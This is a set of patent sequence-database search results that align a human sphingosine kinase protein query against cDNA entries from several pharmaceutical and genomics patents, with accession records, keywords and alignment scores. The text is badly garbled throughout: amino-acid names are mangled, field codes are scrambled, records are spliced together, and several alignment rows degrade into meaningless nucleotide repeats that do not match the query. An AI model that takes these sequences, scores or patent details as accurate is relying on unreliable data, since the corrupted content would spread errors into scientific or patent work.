 QY 261 LeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaAlaProMetGlyArgCys 280
 Db 799 CTGGACCTGCTGACACCGACCTGGGCACTGAGATGTTGCTGCACCCATGGGCGCTGT 858
 QY 281 AlaAlaGlyValMetHisLeuPheTyrValAlaGlyValSerArgAlaMetLeuLeu 300
 Db 859 GCAGCTGGCGTCAATGATCTGTCTACGTGGCGGCGGAGTGTCTGTGCTGCTGCTG 918
 QY 301 ArgLeuPheLeuAlaMetGluLysGlyArgHisMetGluTyrGluCysProTyrLeuVal 320
 Db 919 CGCTCTCTCTGGCCATGAGAGAGGCGACGACATAGATAGAAAGCCCTACTGCTGTA 978
 QY 321 TyrValProValValAlaPheArgLeuGluProLysAspGlyLysGlyValPheAlaVal 340
 Db 979 TATGTGGCCGTTGGCTTCCGCTTGAGACCCCAAGATGGGAAAGTATGTTTGCAGTG 1038
 QY 341 AspGlyLeuMetValSerGluAlaValGlnGlyValHisProAsnTyrPheTyr 360
 Db 1039 GATGGGGAATGTGATGTTAGCGAGGCGGTGACAGGCCAGTGCACCAAACTACTTCTG 1098
 QY 361 MetValSerGlyCysValGluProProSerTrpLysProGlnMetProProPro 380
 Db 1099 ATGGTCAGCGGTTCGTGGAGCCGCCAGCTGGAAGCCCAAGAGATGGCCAGCCGCCA 1158
 QY 381 GluGluProLeu 384
 Db 1159 GAAGAGCCCTTA 1170
 Db
 RESULT 7
 AAC84161
 ID AAC84161 standard; cDNA; 1205 BP.
 AC AAC84161:
 XX 19-MAR-2001 (first entry)
 DT
 XX Human sphingosine kinase encoding cDNA.
 DE
 XX Sphingosine kinase; antiarthritic; antiasthmatic; antiarteriosclerotic;
 KW antiinflammatory; neuroprotective; antibacterial; immunosuppressive;
 KW human; ss.
 OS
 XX Homo sapiens.
 XX
 FT Key Location/Qualifiers
 FT CDS 33..1187
 FT /tag= a
 FT /product= "sphingosine kinase"
 XX
 PD WO200070028-A1.
 PD 23-NOV-2000.
 PF 12-MAY-2000; 2000MO-AU00457.
 XX
 PR 13-MAY-1999; 99AU-0000339.
 PR 08-JUL-1999; 99AU-0001504.
 XX
 PA (JOHN J) JOHNSON & JOHNSON RES PTY LTD.
 XX
 PI Plitson SM, Wattenberg BW, Xia P, D'Andrea RJ, Gamble JR, Vadas MA;
 DR WPI: 2001-016227/02.
 DR P-PSDB: AAB48007.
 XX
 PT Novel sphingosine kinase protein and nucleic acid molecules for
 PT diagnosis, prophylaxis and treatment of rheumatoid arthritis, asthma,

PT atherosclerosis, inflammation, meningitis, multiple sclerosis and
 PT septic shock -
 XX
 PS Claim 4; Fig 7a; 100pp; English.
 CC This cDNA encodes a human sphingosine kinase (SK) protein. The human SK
 CC protein, encoding nucleic acids and modulators are useful for modulating
 CC expression, functional activity or cellular functional activity of
 CC sphingosine kinase in a subject and also for treating a mammal by
 CC modulating the activity of SK. Diseases treated by regulating SK
 CC cellular activity include rheumatoid arthritis, asthma, atherosclerosis,
 CC inflammation, meningitis, multiple sclerosis and septic shock.
 XX
 SQ Sequence 1205 BP; 196 A; 357 C; 400 G; 252 T; 0 other;
 Alignment Scores:
 Pred. No.: 1,94e-188 Length: 1205
 Score: 1959.00 Matches: 374
 Percent Similarity: 98.18% Conservative: 3
 Best Local Similarity: 97.40% Mismatches: 7
 Query Match: 97.22% Indels: 0
 DB: Gaps: 0
 US-09-784-810A-2 (1-384) x AAC84161 (1-1205)
 QY 1 MetAspProAlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu 20
 Db 33 ATGGATTCACAGCGGGGGGCCCCCGGGCGCTCCCGCGGCCCTCCGCTGCTGCTG 92
 QY 21 LeuAsnProArgGlyGlyLysGlyLysAlaLeuGlnLeuPheArgSerHisValGlnPro 40
 Db 93 CTGAACCCGCGCGGCGGCAAGGAGGAGGCTTGCAGCTCTCCGAGATCACGTCACGCC 152
 QY 41 LeuLeuAlaGluAlaGluLeuSerPheThrLeuMetLeuThrGluArgAsnHisAla 60
 Db 153 CTTTGGGCTGAGCGTGAATCTCTTCACGCTGATGCTCAGTGAGCGGCGGAGACCGCG 212
 QY 61 ArgGluLeuValArgSerGluGluLeuGlyArgTyrPheAlaLeuValMetSerGly 80
 Db 213 CGGAGCTGTGGTGGGAGGAGGAGGCTGGGCGCTGGACGCTGTGTGTCATGTGTA 272
 QY 81 AspGlyLeuMetHisGluValValAsnGlyLeuMetGluArgProAspTyrGluThrAla 100
 Db 273 GACGGCTGATGACAGAGGTGTGAAGCGGCTCATGAGAGCGGCTGACTGGAGACGCGC 332
 QY 101 IleGlnLysProLeuCysSerLeuProAlaGlySerGlyAsnAlaLeuAlaAlaSerLeu 120
 Db 333 ATCCAGAAAGCCCTGTGTAGCCCTCCAGAGGCTGTGGCAGACGCGCTGCACTTCTTG 392
 QY 121 AsnHisTyrAlaGlyTyrGluGlnValThrAsnGluAspLeuLeuThrAsnCysThrLeu 140
 Db 393 AACCATTAATGCTGGCTATGAGCGAGTGCACCATGAAGACCTCTGACCAACTGCACGCTA 452
 QY 141 LeuLeuCysArgProValLeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerGly 160
 Db 453 TTGCTGTGCCGCGCGGCTGTGCTACCACTGAACTCTCTGTGTGCACACGCGCTTCGGGG 512
 QY 161 LeuArgSerPheSerValLeuSerLeuAlaTyrPheIleAlaAspValAspLeuGlu 180
 Db 513 CTGGCCTCTTCTGTGTGCTGCTACGCTGGCGCTTGCATGTGCTGATGTGACCTAGAG 572
 QY 181 SerAspLysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArgLeu 200
 Db 573 AGTGAGAAGATACGCGCTGTGGGAGATCGCTTCACTGTGGCACTTTCGCGCTG 632
 QY 201 AlaAlaLeuArgThrTyrArgGlyArgLeuAlaThrLeuProValGlyArgValGlyPhe 220
 Db 633 GCAGCCTTGGCGCACTTACCGGCGGCGGCTGCTTACTCTCTAGGAAGAGTGGCTTCC 692
 QY 221 LysThrProAlaSerProValValValGlnGlnGlyProValAspAlaHisLeuValPro 240
 Db 693 AAGACACTGCTCCCGCTGTGTGTGCTCAGACAGGCGCGGTAGATGACACCTTGTGCCA 752

OY	241	LeuGIInGIInGIInProSerHisTrpGlnValValProAspGluAspPheValLeuVal	260
Db	753	CTGAGAGGACCGAGGCGCCCTCTCACTGGACAGTGGTGGCCGACGAGACTTGTGCTAGTC	812
OY	261	LeuAlaLeuLeuHisSerHisIleLeuAlaSerGluMetPheAlaIaPrometGlyArgCys	280
Db	813	CTGGCACTGGCTGCCACTGGCACTGGCGAGTGAAGATGTTTGTGTGCACCCATGGCCGCTGT	872
OY	281	AlaAlaIaIaValMetHisIleuPheTyrValArgAlaIaIaValSerArgAlaMetLeuLeu	300
Db	873	GCACCTGGCGTCAGCATCTGTCTTCTACGTGGCGGGAGTGTCTCGTGCATGCTGCTG	932
OY	301	ArgLeuPheLeuAlaMetGluIuIuGlyArgHisMetGluTyrGluCysProTyrLeuVal	320
Db	933	CGCCTCTTCTCGGCGCATGGAGAAAGGAGCGCATATGAGTATGATGATGCTTGTGGTA	992
OY	321	TyrValProValValAlaPheArgLeuGluProIysAspGlyLysGlyValPheAlaVal	340
Db	1053	GATGGGGAATGTGATGGTTAGCGAGAGCGCGTCGACGAGGCCAGTGCACCCAACTACTTGG	1112
OY	361	MetValSerGlyCysValGluProProProSerTrpIysProGlnGlnMetProProPro	380
Db	1113	ATGGTTCAGCGGTTTCGTGGAGCCCCCCCCAGCTGGAAGCCCCCAGCAGATGCCACCGCA	1172
OY	381	GluGluProLeu 384	
Db	1173	GAGAGGCCCTTA 1184	
RESULT 8			
AA159336			
ID	AA159336	standard; cDNA; 1438 BP.	
XX	AA159336;		
AC			
XX			
DT	22-OCT-2001	(first entry)	
XX			
DE	Human polynucleotide seq ID NO 1539.		
XX			
KW	Human; noctropic; immunosuppressant; cytostatic; gene therapy; cancer;		
KW	peripheral nervous system; neuropathy; central nervous system; CNS;		
KW	Alzheimer's; Parkinson's disease; Huntington's disease; haemostatic;		
KW	amyotrophic lateral sclerosis; Shy-Drager Syndrome; chemolactic;		
KW	chemokine; thrombolytic; drug screening; arthritis; inflammation;		
KW	leukaemia; ss.		
XX			
XX	Homo sapiens.		
OS			
XX			
FN	W0200153312-A1.		
XX			
PD	26-JUL-2001.		
XX			
PF	26-DEC-2000; 2000WO-US34263.		
XX			
PR	21-JAN-2000; 2000US-0488725.		
PR	25-APR-2000; 2000US-0552317.		
PR	09-JUL-2000; 2000US-0588042.		
PR	19-JUL-2000; 2000US-0620312.		
PR	03-AUG-2000; 2000US-0653450.		
PR	14-SEP-2000; 2000US-0662191.		
PR	19-OCT-2000; 2000US-0693036.		
PR	29-NOV-2000; 2000US-0727344.		
XX			
PA	(HYSE-) HYSEQ INC.		
PI	Tang YT, Liu C, Asundi V, Chen R, Ma Y, Qian XB, Ren F, Wang D;		
PI	Wang JT, Wang Z, Wehrman T, Xu C, Xue AJ, Yang Y, Zhang J;		
PI	Zhao QA, Zhou F, Goodrich R, Driamanac RT;		
XX	WPI: 2001-442253/47.		

DR	P-PSDB:AAAM40180.
XX	Novel nucleic acids and polypeptides, useful for treating disorders
PT	such as central nervous system injuries -
XX	
PS	Claim 1; SEQ ID NO 1539; 10078pp; English.
XX	
CC	The invention relates to human nucleic acids (AAI57798-AA161369) and
CC	the encoded polypeptides (AAM36642-AA442213) with nootropic,
CC	immunosuppressant and cytostatic activity. The polynucleotides are useful
CC	in gene therapy. A composition containing a polypeptide or polynucleotide
CC	of the invention may be used to treat diseases of the peripheral nervous
CC	system, such as peripheral nervous injuries, peripheral neuropathy and
CC	localised neuropathies and central nervous system diseases, such as
CC	Alzheimer's, Parkinson's disease, Huntington's disease, amyotrophic
CC	lateral sclerosis, and Shy-Draeger Syndrome. Other uses include the
CC	utilisation of the activities such as: Immune system suppression.
CC	Activin/inhibin activity, chemotactic/chemokinetic activity, haemostatic
CC	and thrombolytic activity, cancer diagnosis and therapy, drug screening,
CC	assays for receptor activity, arthritis and inflammation, leukaemia and
CC	C.N.S disorders.
CC	Note: The sequence data for this patent did not form part of the printed
CC	specification.
XX	
SEQ	Sequence 1438 BP; 251 A; 428 C; 463 G; 296 T; 0 other;
Alignment Scores:	
Pred. No.:	3.97e-188 Length: 1438
Score:	1957.00 Matches: 374
Percent Similarity:	97.92% Conservative: 2
Best Local Similarity:	97.40% Mismatches: 8
Query Match:	97.12% Indels: 0
DB:	22 Gaps: 0
US-09-784-810A-2 (1-384) x AA159336 (1-1438)	
OY	1 Metaspproalaglgllylproargglyvalleuproarprocysargyallevallou 20
Db	1 ATGGATTCAGCGGCGGGCCCCCGGGCCTGTCCGCCGCCCGCGGTGTCGCTTG 60
OY	21 Leuanpnroarglglylrglylsalaleuqnlneuphenrsgsrhsvalginpro 40
Db	61 CTGAACCCGCGGCGGGCAAGGACAAGGCCTTGCACCTCTCCGGAGTACGTGCAGCCC 120
OY	41 Leuleualagluaglurleserphenrlemetleuthrgluarfgsanhlala 60
Db	121 CTTTGGCTGAGGCGTAATCTCTTACAGCTCATCTACTAGAGCGCGGAACACGCC 180
OY	61 Arggluleuvalargsergluleugllyartgtrpsapalaleuvalmetsergly 80
Db	181 CGGAGCTGTGCTCGGCGGAGGAGGCTGGGCGCTGGAGCGCTGTGGTCATGTCTGA 240
OY	81 Aspglyleumehisgluvalvalasnghyleumetgluarproasprptglutnrala 100
Db	241 GACGGGCTGATCACAGAGGTGTGAACGGGCTCATGAGACGGCTACTGGAGACGCC 300
OY	101 IleglnlysProleucysserleuproalaglySerglyASnalaleuualalaSerleu 120
Db	301 ATCCAAGAACCCCTGTGTAGCTCCACGACAGGCTCTGGCAACGCGCTGGCACTTCTTG 360
OY	121 AsnhlstyrAlaglyTYrglunValThrAsngluaspdeuleuthrasncysthrleu 140
Db	361 AACCATTTANCGTGGCTATGACGAGGTCACCATTGAAGACCTCTCTGACCACTCACGCTA 420
OY	141 LeuleucysArgProvalleuserProkmetasnleuleuserleuhsthrAlasergly 160
Db	421 TTGCTGTGCGCGCGGCTGTCTGCACCCATGAACCTCTGCTTGCACACGCGTTGGGG 480
OY	161 LeuatgserPheSerValleuserleuAlatrpGlYPheillealaspylaaspleglu 180
Db	481 CTGGCCCTCTTCTGTGTCTACCGCTGGGCGCTTATTCCTATGTGGACCTTAGAG 540
OY	181 SerAspLySTyrArgArgleuGlYglumetArGpHethtreueGlYthrPheleuAtgleu 200

```

Db 541 AGTGAAGATGATCGGCTGTGGGAGATGCGCTTCACTGTGGGACTTCTGCTGCTG
OY 201 AAlaAlaLeuAlaArgThrTyrArgGlyArgLeuAlaThrLeuProValGlyArgValGlyPhe
Db 601 GCAGCCCTGGCGACCTACCGCGCCGACACTGCTACCTCCCTGAGAAAGATGGGTCC
OY 221 LysThrProAlaSerProValValValGlnGlnGlyProValAspAlaHisLeuValPro
Db 661 AAGACACCTGCTCCCGCTGTGTGTCACAGAGGGCGGTGATGACACCTTGTGCCA
OY 241 LeuGlnGlnGlnValProSerHisTrpGlnValValProAspGlnAspPheValLeuVal
Db 721 CTGGAGAGACCACTGCTTCTTCACTGACAGATGTGTCCCGACAGAGACTTGTGCTAGTC
OY 261 LeuAlaLeuLeuHisSerHisLeuAlaSerGlnMetPheAlaAlaProMetGlyArgCys
Db 781 CTGGCACTGCTGCACTGCGACCTGGGAGTGAATGTTGCTGACACATGGGCGCTGT
OY 281 AAlaAlaGlyValMetHisLeuPheThrValArgAlaGlyValSerArgAlaMetLeuLeu
Db 841 GCAGCTGGCGTCAATGCACTGTTTACGTGCGGGGCGGAGTGTGCTGCAATGCTGCTG
OY 301 ArgLeuPheLeuAlaMetGlyLysGlyArgHisMetGlyTyrGlyCysProTyrLeuVal
Db 901 CGCCCTCTCTCGGCCATGAGAGAGGAGGAGGATGATGAGATGATGATGATGATGATGATG
OY 321 TyrValProValValAlaPheArgLeuGlnProLysAspGlyLysGlyValPheAlaVal
Db 961 TATGTGCGCGGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG
OY 341 AspGlyGlnLeuMetValSerGlnValValGlnGlnGlnValHisProSerTyrPheTyr
Db 1021 GATGGGAAATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG
OY 361 MetValSerGlyCysValGlnProProProSerTyrLysProGlnGlnMetProProPro
Db 1081 ATGCTACGCGGTGCTGAGGCGCCGCTGAGGCGCCGAGTGCACCCAACTACTTCTG
OY 381 GlnGlnProLeu 384
Db 1141 GAAGAGCCCTTA 1152

```

RESULT 9
 AAA50508 standard; cDNA; 1447 BP.
 ID AAA50508
 AC AAA50508;
 DI 05-DEC-2000 (first entry)
 XX Human sphingosine kinase A cDNA.
 DE
 XX Sphingosine kinase A; SKA; human; drug screening; infection;
 KW antiinflammatory; antiallergic; anticancer; inflammation; allergy;
 KW cancer; therapy; diagnosis; ds.
 XX
 OS Homo sapiens.
 XX
 FH Key Location/Qualifiers
 FT CDS 7..1161
 FT /*tag- a
 XX
 PN WO200052173-A2.
 XX
 PD 08-SEP-2000.
 XX
 PF 02-MAR-2000; 2000WO-CA00223.
 XX
 PR 02-MAR-1999; 99US-0122516.
 XX
 PA (ALX) NPS ALLELIX CORP.

PI Munroe D, Gupta A, Falzone GR;
 XX WPL; 2000-572185/53.
 DR P-PSDB; AAY06057.
 XX
 PT New human sphingosine kinase A, B and C polynucleotides and
 PT polypeptides useful in e.g. chromosome and gene mapping, and detecting
 PT inflammation or disease associated with abnormal levels of sphingosine
 PT kinase expression
 XX
 PS Disclosure; Fig 1; 81pp; English.

The present sequence is that of an isolated polynucleotide encoding
 human sphingosine kinase A (SKA, see AAY96057), an enzyme that
 phosphorylates sphingosine to form sphingosine 1-phosphate.
 CC The polynucleotide was isolated from an HeLa cDNA library by
 CC PCR amplification. The invention provides polynucleotides (see
 CC AAA50508-10) and polypeptides (see AAY96057-59) for the human
 CC sphingosine kinase (SK) homologues SKA, SKB and SKC. The
 CC polynucleotides may be used as hybridization probes, in the
 CC construction of PCR primers for chromosome and gene mapping, in
 CC the recombinant production of SKA, SKB and SKC, and in the
 CC generation of antisense DNA or RNA. They can be used to detect
 CC inflammation or disease associated with abnormal levels of SK
 CC expression, or to detect differences in gene sequence between
 CC normal and carrier or affected individuals. Host cells expressing
 CC SK can be used in drug screening. Human SK specific antibodies,
 CC inhibitors, ligands or their analogues can be used as bioactive
 CC agents to treat inflammation or disease including viral, bacterial
 CC or fungal infections, allergic responses, mechanical injury
 CC associated with trauma, hereditary diseases, lymphoma or carcinoma,
 CC and other conditions which activate the genes of kidney, lung,
 CC heart, lymphoid or tissues of the nervous system.
 XX

Sequence 1447 BP; 256 A; 427 C; 465 G; 299 T; 0 other:
 SQ

Alignment Scores:
 Pred. No.: 5, 2e-187 Length: 1447
 Score: 1946.00 Matches: 372
 Percent Similarity: 97.408 Conservative: 2
 Best Local Similarity: 96.888 Mismatches: 10
 Query Match: 96.588 Indels: 0
 DB: 21 Gaps: 0

US-09-784-810A-2 (1-384) x AAA50508 (1-1447)

```

OY 1 MetAspProAlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu 20
Db 7 ATGATCCACGCGGCGGCGCCCGGGCGTGTCCCGCGGCTGCGCTGCTGCTG 66
OY 21 LeuAsnProArgGlyGlyLysGlyLysAlaLeuGlnLeuPheArgSerHisValGlnPro 40
Db 67 CTGAACCGCGGCGGCGGCAAGGCGCTTGCACCTTCCGGAGTACGTGCAAGCC 126
OY 41 LeuLeuAlaGluAlaGluIleSerPheThrLeuMetLeuThrGluArgArgAsnHisAla 60
Db 127 CTTTGGGTGAGGCTGAATCTCTTACCTATGCTCAGTACAGCGGGAACACCGCG 186
OY 61 ArgGlnLeuValArgSerGlnGlnGlyArgTrpAspAlaLeuValValMetSerGly 80
Db 187 CGGGAGCTGTGCGGTGGAGAGACTGGCGCTGGAGCCCTGTGTGTGTCATGTTGGA 246
OY 81 AspGlyLeuMetHisGlyValValAsnGlyLeuMetGlnArgProAspTrpGluThrAla 100
Db 247 GACGGGCTGATGCACAGAGTGTGTAACGGCTCATGTGAGGCGGCTGACTGGAGACGCG 306
OY 101 IleGlnLysProLeuCysSerLeuProAlaGlySerGlyAsnAlaLeuAlaAlaSerLeu 120
Db 307 ATCCAGAAACCCCTGTATCTCCACAGACAGCTCTGCAACGCGCTGGAGCTTCCTTG 366
OY 121 AsnHisTyrAlaGlyTyrGlnGlnValThrAsnGlnAspLeuThrAsnCysThrLeu 140
Db 367 AACCATTAATGCTATGAGCAGGTACCAATGAAGACCTCTGACCACTGACGACGCTA 426

```

QY	141	LeuLeuYsArpGrpProValIleuSerProMetAsnIleuSerLeuHISThrAlaSerGly	160
Db	427	TTGGCTGGGCGCGCGCTGCTGCACCATGAACCTGCTCTGTCACACGCGCTTGGGG	486
QY	161	LeuArgSerPheSerValIleuSerLeuAlaTrpGlyPheIleAlaAspValAspLeuGlu	180
Db	487	CTGGGCGCTTCTCTGTGTCACGCTTGCGCTGGCGCTTGCATATGGCTGATGTGGACTTGAG	546
QY	181	SerAspLysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArgLeu	200
Db	547	AGTGAGAAAGTATCGCGCTCTGGGGGGAATATGGCTTCACTCTGGGCGACCTTCCGCTCTG	606
QY	201	AlaAlaLeuArgThrTyrArgGlyArgLeuAlaThrLeuProValGlyArgValGlyPhe	220
Db	607	GCACCGCTGGCGACCTTACCGCGCGCGACTGGCGCTTACCTCCCTGTAGAGAGTGGGTCC	666
QY	221	LysThrProAlaSerProValIleValGlnGlnGlyProValAspAlaHisLeuValPro	240
Db	667	AAGACACCTGGCTCCCGCTGGTGTGTGCAGAGAGGCGCGGTAGATGACACACTGTGTGCA	726
QY	241	LeuGlnIleGlnIleValProSerHisTrpGlnValValProAspGluAspPheValLeuVal	260
Db	727	CTGGAGGAGCGACGAGTGCCTCTCACTGTGACATGGTGGCCGACGAGGACTTGTGCTGTGTC	786
QY	261	LeuAlaLeuLeuHisSerHisIleuAlaSerGluMetPheAlaIaProMetGlyArgCys	280
Db	787	CTGGCACTGCTGCACCTGGCACCTGGGACAGTGAATGTTTGTCTGCACCCATGGCGCTGT	846
QY	281	AlaAlaGlyValMetHisLeuPheTyrValArgAlaGlyValSerArgAlaMetLeuLeu	300
Db	847	GCACCTGGCGCTCATGATCTGTCTACGTGGCGGGGAGTGTCTCGTGGCATGCTGTGCTG	906
QY	301	ArgLeuPheLeuAlaMetGluLysGlyArgHisMetGluTyrGluCysProTyrLeuVal	320
Db	907	CGCCTCTTCCCGGCATGAGAAAGGAGGAGATGTGAGTGAATGATCCCTTCTTGTA	966
QY	321	TyrValProValIleAlaPheArgLeuGluProLysAspGlyLysGlyValPheAlaVal	340
Db	967	TATGTGCCCGGTGCTGCGCTTCCGCTTGGAGCCCAAGATGGGAAAGTGTGTTGCACTG	1026
QY	341	AspGlyLeuLeuMetValSerGluAlaValGlnGlyGlnValHisProAsnTyrPheTrp	360
Db	1027	GATGGGAAATGTGATGCTTAGCGCGCGCTGCGAGGGCCAGGTGCACCCAAATCTTCTGG	1086
QY	361	MetValSerGlyCysValGluProProSerTrpLysProGlnGlnMetProProPro	380
Db	1087	ATGTGTACGCGGTTCGTGTGAGCCCCCGCCACGTGGAAGCCCCACAGATGCCACCGCCA	1146
QY	381	GluGluProLeu 384	
Db	1147	GAAGAGCGCCTTA 1158	
RESULT 10			
ABL90618/c			
ID	ABL90618 standard; cDNA: 1562 BP.		
AC	ABL90618:		
XX	24-MAY-2002 (first entry)		
DT	Human polynucleotide seq ID NO 1180.		
DE			
XX	Cytostatic; immunosuppressive; nootropic; neuroprotective; antiviral;		
KW	antiallergic; hepatotropic; antididiabetic; antiinflammatory; antitumor;		
KW	vulnerary; anticonvulsant; antibacterial; antifungal; antiparasitic;		
KW	cardiant; gene therapy; cancer; immune disorder; cardiovascular disorder;		
KW	neurological disease; infection; human; secreted protein; gene; ss.		
XX	Homo sapiens.		
OS			
XX	WO200190304 -A2.		
PN			
XX			

FD		29-NOV-2001.	
PE	18-MAY-2001;	2001WO-US16450.	
XX			
FR	19-MAY-2000;	2000US-205515P.	
XX			
PA	(HUMA-) HUMAN GENOME SCI INC.		
PI	Birse CE, Rosen CA;		
XX			
DR	WPI; 2002-122018/16.		
P-	P-PSDB; ABB90209.		
PT			
XX			
PS	Claim 4; SEQ ID NO 1180; 2081pp + Sequence Listing; English.		
XX			
CC	The invention relates to novel genes (ABL89449-ABU90853) and proteins (ABB89044-ABB90444) useful for preventing, treating or ameliorating medical conditions e.g. by protein or gene therapy. The genes are isolated from a range of human tissues disclosed in the specification. The nucleic acids, proteins, antibodies and (ant)agonists are useful in the diagnosis, treatment and prevention of: (a) cancer, e.g. breast and ovarian cancer and other cancers of the adrenal gland, bone, bone marrow, breast, gastrointestinal tract, liver, lung, or urogenital; (b) immune disorders e.g. Addison's disease, allergies, autoimmune haemolytic anaemia, autoimmune thyroiditis, diabetes mellitus, Crohn's disease, multiple sclerosis, rheumatoid arthritis and ulcerative colitis; (c) cardiovascular disorders such as myocardial ischaemias; (d) wound healing; (e) neurological diseases e.g. cerebral anoxia and epilepsy; and (f) infectious diseases such as viral, bacterial, fungal and parasitic infections.		
CC	Note: The sequence data for this patent did not form part of the printed specification, but was obtained in electronic format directly from WIPO at ftp.wipo.int/pub/published_pat_sequences.		
CC			
XX	Sequence 1562 BP; 328 A; 499 C; 459 G; 273 T; 3 other:		
SO			
	Alignment Scores:		
	Pred. No.: 9,24e-187 Length: 1562		
	Score: 1944.00 Matches: 372		
	Percent Similarity: 98.16% Conservative: 2		
	Best Local Similarity: 97.64% Mismatches: 7		
	Query Match: 96.48% Indels: 0		
	DB: 24 Gaps: 0		
US-09-784-810A-2 (1-384) x ABL90618 (1-1562)			
OY	4 ALaaglygLPProargLyValleuProArgProcysArgValleuValleuLeuAsnPro	23	
Ddb	1453 GCGGGGCGGCCCGGGGGGTCTCCCGGGCCCTGCCTGGTGGTCTCTGAACCCG	1394	
OY	24 ArgglyGLyLysGLyLysAlaLeuGlnLeuPharGserHisValGlnProLeuLeuAla	43	
Ddb	1393 CGGGGCGCAAGGCGAACGCCCTTGCACTCTTCGGAATCAGCTGCACCCCCCTTTGGCT	1334	
OY	44 GluAlaGluIleSerPheThrLeuMetLeuThrGluIuarGARASnHisAlaArgGluLeu	63	
Ddb	1333 GAGGCTGAANCTCTTCACGCTGATGCTCACTGAGCGCGGAACCAACGCGGAGCTG	1274	
OY	64 ValArgSerGIuGluLeuGlyIARgrTPspAlaLeuValValMetSerGlyAspGlyLeu	83	
Ddb	1273 GTGGCGGTGGAGACTGGCGCGTGGAGACCCTCGGGTCATCTGTGGAGACGGGCTG	1214	
OY	84 MetHisGluValAlaValasngLYleumetsLIuarqProAspTRPGLuThrAlaIlaglInlys	103	
Ddb	1213 ATGCACGAGGTGGTAACGGGCTCATGGAGCGGCTGACTGGGAGACCGGCATCCAGAAG	1154	
OY	104 ProLeucySserLeuProalagLYserGlysnalAleualalaSerLeuAsnHisTryr	123	

05-SEP-1997: 9705-0057627.
PR 05-SEP-1997: 9705-0057634.
PR 05-SEP-1997: 9705-0057643.
PR 05-SEP-1997: 9705-0057646.
PR 05-SEP-1997: 9705-0057649.
PR 05-SEP-1997: 9705-0057654.
PR 05-SEP-1997: 9705-0057656.
PR 05-SEP-1997: 9705-0057760.
PR 05-SEP-1997: 9705-0057763.
PR 05-SEP-1997: 9705-0057769.
PR 05-SEP-1997: 9705-0057774.
PR 05-SEP-1997: 9705-0057777.

XX
PA (HUMA-) HUMAN GENOME SCI INC.
XX
PI Brewer LA, Carter KC, Dillon PJ, Edner R, Endress GA;
PI Fan P, Feng P, Ferrle AM, Fischer CL, Florence C;
PI Florence K, Greene JM, Hu J, Kyaw H, Laflaur DW;
PI Li Y, Moore PA, Ni J, Olsen HS, Rosen CA, Ruben SM;
PI Shi Y, Soppet DR, Wei Y, Young P, Yu G, Zeng Z;
XX WPI: 1999-059865/05.
DR P-PSDB; AAM88613.
DR

PT New isolated human genes and the secreted polypeptides they encode -
PT useful for diagnosis and treatment of e.g. cancers, neurological
PT disorders, immune diseases, inflammation or blood disorders
XX
PS
XX

Claim 4; Page 343; 772pp; English.

The invention relates to nucleic acid sequences (AAV84411 to AAV84633) encoding human secreted proteins (AAM88534 to AAM88756). The secreted protein gene sequences are deposited with the ATCC under deposit numbers CC ATCC 97979, 97974, 97975, 97976, 97977, 209007, 209008, 209009, 209010, 209011, 209080, 209082, 209083, 209084, 209085, 209511. Host cells comprising recombinant vectors containing the nucleic acid sequences are used for the recombinant production of the secreted proteins. The polynucleotide and amino acid sequences are useful for are useful for preventing, treating or ameliorating medical conditions e.g. by protein or gene therapy. Pathological conditions can be also diagnosed by determining the presence of mutations in the new polynucleotides. Specific uses are described for each of the polynucleotides, based on which tissues they are most highly expressed in, and include developing products for the diagnosis or treatment of cancer, neurodegenerative disorders, developmental abnormalities and foetal deficiencies, blood disorders, tumours, leukemias, diseases of the immune system, autoimmune diseases, hepatic and renal disease, lymphomas, inflammation, allergies, ischemic shock, Alzheimer's and cognitive disorders, schizophrenia, restenosis, prostate diseases, obesity, disorders involving osteoclasts such as osteoporosis, arthritis or malignancies, diseases of testes, lung or thymus, digestive/endocrine disorders, infections and AIDS. The polypeptides are also useful for identifying their binding partners. The present sequence represents a gene encoding a human secreted protein (see descriptor line for gene number and clone identification).

XX
SO Sequence 1533 BP; 272 A; 454 C; 495 G; 302 T; 10 other;

Alignment Scores:
Pred. No.: 4 72e-185 Length: 1533
Score: 1927.00 Matches: 371
Percent Similarity: 96.88% Conservative: 2
Best Local Similarity: 96.36% Mismatches: 11
Query Match: 95.63% Indels: 1
Gaps: 0

US-09-784-B10A-2 (1-384) x AA844490 (1-1533)

Oy 1 MetaspPProAlaCylgylProArgIlyValLeuProArpProcysArgYalLeuValLeu 20
Db 73 ATGCATCCACGGCGGCCGCCCGCGGCGTCTCCGCGGCCCTGCGGTGTCG 13
Oy 21 LeuAsnProArkgIlgylgylsgIlysgIlyslAlalaLeuInleupheargSerHisValGlnPro 40

Db 1213 AGAAGACCCCTTA 1225

RESULT 12
 ABA83273
 ID ABA83273 standard; cDNA; 1533 BP.
 AC ABA83273;
 XX 07-FEB-2002 (first entry)
 DT
 XX Human secreted protein gene 80 SEQ ID NO:90.
 DE
 XX Human; secreted protein; immunomodulatory; antisclerotic; anti-HIV;
 KW dermatological; immunosuppressive; antiinflammatory; immunostimulant;
 KW cytostatic; cardiant; vascular; anti-angiogenic; ophthalmological;
 KW neuroprotective; neurotropic; anticonvulsant; antialzheimer's; vulnary;
 KW antiparkinsonian; antimicrobial; gene therapy; vaccine; immune disorder;
 KW multiple sclerosis; systemic lupus erythematosus; HIV infection; cancer;
 KW human immunodeficiency virus; hyperproliferative disorder; wound healing;
 KW Gaucher's disease; cardiovascular disease; Sclimlar syndrome; chemotaxis;
 KW Chaga's cardiomyopathy; coronary arteriosclerosis; angiotensin disorder;
 KW corneal graft neovascularisation; diabetic retinopathy; regeneration;
 KW neurological disorder; Huntington's chorea; Alzheimer's disease;
 KW Parkinson's disease; Infectious disease; chromosome 17; ss.
 OS Homo sapiens.
 XX
 PN MO200162891-AZ.
 XX
 PD 30-AUG-2001.
 XX
 PF 21-FEB-2001; 2001WO-US05614.
 XX
 PR 24-FEB-2000; 2000US-184836P.
 XX
 PR 29-MAR-2000; 2000US-193170P.
 XX
 XX (HUMA-) HUMAN GENOME SCI INC.
 PA NI J, Ebner R, Lafleur DM, Moore PA, Olsen HS, Rosen CA;
 PI Riden SM, Soppet DR, Young PE, Shi Y, Florence KA, Wei Y;
